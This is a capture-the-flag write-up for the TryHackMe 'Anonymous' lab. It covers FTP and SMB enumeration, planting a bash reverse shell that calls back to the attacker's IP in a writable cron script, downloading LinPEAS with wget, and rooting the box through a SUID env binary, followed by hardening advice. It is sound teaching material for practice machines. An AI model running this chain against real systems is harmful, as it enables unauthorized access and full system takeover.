Anonymous

URL:

https://www.tryhackme.com/room/anonymous

Description:

Anonymous is an easy level room on Try Hack Me focusing on misconfigured FTP Servers, SMB Servers, Reverse Shells and SUID.

Enumeration:

We start with a Rustscan_[1] to quickly find any available ports, with an Nmap report on the service versions found on the discovered ports.

sudo rustscan -a 10.10.91.13 -- -sV -sS -oN anonymous_nmap.txt

The above scan is referencing the IP address to be scanned (10.10.91.13) and calling for the following parameters from Nmap_[2]:

Nmap Commands Overview:
-sV = Checks to see what the version is of the service running on the scanned ports.
-sS = Type of scan (SYN Scan) being used. Considered a slower and and more silent scan. However, due to me running this with rustscan (which is a loud scanner) there is no real advantage doing this. I am just use to it.
-oN = Saving the output to a text file I have named. This is so I can review the results later if necessary.

Results:

# Nmap 7.91 scan initiated Wed Aug 25 02:03:34 2021 as: nmap -vvv -p 22,21,139,445 -sV -sS -oN anonymous_nmap.txt 10.10.91.13
Nmap scan report for 10.10.91.13
Host is up, received echo-reply ttl 61 (0.29s latency).
Scanned at 2021-08-25 02:03:35 EDT for 12s

PORT	STATE	SERVICE	REASON	VERSION
21/tcp	open	ftp	syn-ack ttl 61	vsftpd 2.0.8 or later
22/tcp	open	ssh	syn-ack ttl 61	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp	open	netbios-ssn	syn-ack ttl 61	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open	netbios-ssn	syn-ack ttl 61	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

We have found the machine has an FTP server, SMB server and has SSH enabled. First thing first, lets check to see if 'anonymous' is enabled on the FTP server. Judging by the name of this room, there is a safebet anonymous should work

ftp 10.10.91.13
Connected to 10.10.91.13.
220 NamelessOne's FTP Server!
Name (10.10.91.13:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

We have access to the FTP server. Looking at the contents:

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

drwxrwxrwx

2

111

113

4096

Jun 04 2020

scripts

-rwxr-xrwx	1	1000	1000	314	Jun 04 2020	clean.sh
-rw-rw-r--	1	1000	1000	1290	Aug 25 06:06	removed_files.log
-rw-r--r--	1	1000	1000	68	May 12 2020	to_do.txt

226 Directory send OK.

Lets download and go back to enumerating the SMB server. For this lets tryout SMBMap to look at what privileges we have as a guest user:

smbmap -H 10.10.91.13 > smbmap.txt
[+] Guest session IP: 10.10.91.13:445 Name: 10.10.91.13

Disk	Permissions	Comment
----	-----------	-------
print$	NO ACCESS	Printer Drivers
pics	READ ONLY	My SMB Share Directory for Pics
IPC$	NO ACCESS	IPC Service (anonymous server (Samba, Ubuntu))

OK. Looks like we can view the folder pics on the SMBClient. Lets login as 'guest' and download the contents:

smbclient \\\\10.10.91.13\\pics -U guest
Enter WORKGROUP\guest's password:
Try "help" to get a list of possible commands.
smb: \> ls

.	D	0	Sun May 17 07:11:34 2020
..	D	0	Wed May 13 21:59:10 2020
corgo2.jpg	N	42663	Mon May 11 20:43:42 2020
puppos.jpeg	N	265188	Mon May 11 20:43:42 2020

20508240 blocks of size 1024. 13306812 blocks available

With all the contents downloaded, lets view and see how we may be able to compromise this machine....
The only notable items appear to be clean.sh and removed_files.log. I have run Stegseek on both images and it appears they are not hiding any additional data.
Contents of clean.sh:

#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
for LINE in $tmp_files; do
rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi

The script that is running appears to automatically delete any files placed into the /tmp directory on the target machine. We can see that this script is running continuously from the date of the log file given in the FTP enumeration. It appears the script is running constantly, can we upload data to the FTP server?

ftp> put test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

-rwxr-xrwx	1	1000	1000	314	Jun 04 2020	clean.sh
-rw-rw-r--	1	1000	1000	1290	Aug 25 06:06	removed_files.log
-rw-r--r--	1	111	113	0	Aug 25 06:27	test.txt
-rw-r--r--	1	1000	1000	68	May 12 2020	to_do.txt

226 Directory send OK.

Success! It looks like we can upload files to the FTP server, so lets delete that file and maybe we can replace the script with one that allows us to get a reverse shell into the machine. We will start with modifying the script to use bash to run a reverse script to connect to our PC's netcat and initiate a basic reverse shell_[3]:

#!/bin/bash

bash -i >& /dev/tcp/10.4.6.126/8080 0>&1
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
for LINE in $tmp_files; do
rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi

We will now initiate a netcat listener on port 8080, upload the new script to the FTP server and see if we can connect to the server.
Attacking machine:

nc -lvnp 8080

Victims machine:

ftp> put clean.sh
local: clean.sh remote: clean.sh
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
355 bytes sent in 0.00 secs (5.4606 MB/s)

Attacking machine:

connect to [10.4.6.126] from (UNKNOWN) [10.10.91.13] 43408
bash: cannot set terminal process group (13049): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$

Resources:

[1]https://rustscan.github.io/RustScan/
[2]https://nmap.org/book/man.html
[3]http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Compromise:

Wait, what did we just do? We placed some code into an automated script and it connected back to our machine? How? What? Why? Well, lets spend the time right now breaking down that code and understanding what just happened, and how we were able to compromise that machine. First things first, lets relook at the code:

bash -i >& /dev/tcp/10.4.6.126/8080 0>&1

bash_[4] is the Unix shell and command language used on Linux systems. We were able to determine that the machine was a Linux machine from the Nmap scan previously gathered during the enumeration stage. We were also able to determine the script would most likely run this command due to the 'shebang' (that is the #!/bin/bash) in the clean.sh script. With these 2 key points of information we could then input the bash command and hope it would run. Now we know what bash is, what does that command mean?

Bash Reverse Shell Command Overview:
bash -i >& /dev/tcp/10.4.6.126/8080 0>&1
-i = this makes the reverse shell interactive
>& = this is a redirection that will pipe out commands from the victims machine to the IP address designated
/dev/tcp/10.4.6.126/8080 = this isn't a real file on the system. This command tells bash to use socket(port);connect(ip); being our IP address and the port number. This is a little complex to explain in here so for more information please refer to answer for a more indepth explanation_[5] and is also viewable in the bash manual
0>&1 = this, though not showing it, is using STDIN to help allow the IP and Port to read any input placed into the reverse shell. This is effectivly how you can read the output from the victims machine

With the reverse shell setup we can now look through the machine and find the user flag.

namelessone@anonymous:~$ id
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
namelessone@anonymous:~$ ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
REDACTED

Privilege escalation:

Now that we have compromised the user account we can now focus on privilege escalation. I need to begin with elevating the reverse shell to have tty present:

namelessone@anonymous:~$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$

Now lets see if this user has any sudo privileges.

$ sudo -l
[sudo] password for namelessone:

Looks like this may be a no go unless we can get the users password. Lets look for more information on the machine using LinPeas_[6]. To do this I will need to setup a python webserver on my local machine and download the contents across. Normally I would download this into the /tmp directory, but the clean.sh script will automatically delete it. As I want to treat this as a stelthy attack I will need to download the files into a different area so not potentially disturb the removed_files.log. Attacking machine:

python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Victim machine:

$ cd /var/tmp
$ wget http://10.4.6.126:8000/linpeas.sh
--2021-08-25 06:48:56-- http://10.4.6.126:8000/linpeas.sh
Connecting to 10.4.6.126:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 462687 (452K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh

100%[===================>]

451.84K

169KB/s

in 2.7s

2021-08-25 06:48:59 (169 KB/s) - ‘linpeas.sh’ saved [462687/462687]

$ chmod +x linpeas.sh

What we just did was use wget to download the file from the attacking machine and modify its permissions to be executable on the victims machine using chmod. With linpeas.sh we can see that there is an SUID privilege escalation into root:

We can also confirm this by manually searching for any extra permissions this user account may have on this machine:

$ find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount
/bin/su
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec

Using GTFOBins_[7] we can see how we can elevate this session to root using:

$ /usr/bin/env /bin/sh -p

Now we just need to grab the root flag to confirm we have root control over the system:

# cat /root/root.txt
REDACTED

Resources:

[4]https://man7.org/linux/man-pages/man1/bash.1.html
[5]https://unix.stackexchange.com/questions/525653/why-are-or-required-to-use-dev-tcp
[6]https://linpeas.sh/
[7]https://gtfobins.github.io/gtfobins/env/

Hardening:

To prevent his machine from being compromised in future the following changes should be made on the device and services:

1. Remove the anonymous access on the FTP server. If this is necessary, look at changing the read/write policies for 'anonymous' so they are unable to upload files to the FTP server. A reason for this is they could upload a payload and wait for the user to interact with it, accidentally opening a reverse shell via a different method, or a ransomware payload for a payday, or even a logic bomb.
2. Review if the necessary SUID is needed on /usr/bin/env. If so look at trying to downgrade it to other non-intrusive binaries, or look at upgrading it to being used via sudo to at least let it be non-usable without the user password.

Conclusion:

Thanks to this room we were able to learn about anonymous access to FTP servers, guest access to SMB Servers, uploading an automated reverse shell using bash and netcat, a simple breakdown on waht the bash script does and misconfigured SUID on user accounts. This has helped demonstrate why securing a system is necessary at a basic level.